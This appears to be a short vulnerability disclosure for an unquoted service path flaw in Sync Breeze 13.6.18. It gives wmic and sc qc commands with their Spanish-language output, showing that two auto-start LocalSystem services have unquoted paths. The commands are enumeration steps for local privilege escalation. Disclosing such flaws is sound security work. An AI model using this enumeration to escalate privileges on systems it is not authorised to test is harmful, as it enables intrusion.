Sync Breeze version 13.6.18 suffers from an unquoted service path vulnerability.
3dc3748b1d0b57765096ea2883dbb82701740b1b05ec4e47b85d60126a70912a
# Exploit Title: Sync Breeze 13.6.18 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.syncbreeze.com/
# Software Links:
# https://www.syncbreeze.com/setups_x64/syncbreezesrv_setup_v13.6.18_x64.exe
# https://www.syncbreeze.com/setups_x64/syncbreezeent_setup_v13.6.18_x64.exe
# Tested Version: 13.6.18
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits
# Step to discover Unquoted Service Path:
C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Sync Breeze Server Sync Breeze Server C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe Auto
Sync Breeze Enterprise Sync Breeze Enterprise C:\Program Files\Sync
Breeze Enterprise\bin\syncbrs.exe Auto
C:\Users\IEUser>sc qc "Sync Breeze Server"
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: Sync Breeze Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
C:\Users\IEUser>sc qc "Sync Breeze Enterprise"
[SC] QueryServiceConfig CORRECTO
NOMBRE_SERVICIO: Sync Breeze Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Enterprise\bin\syncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem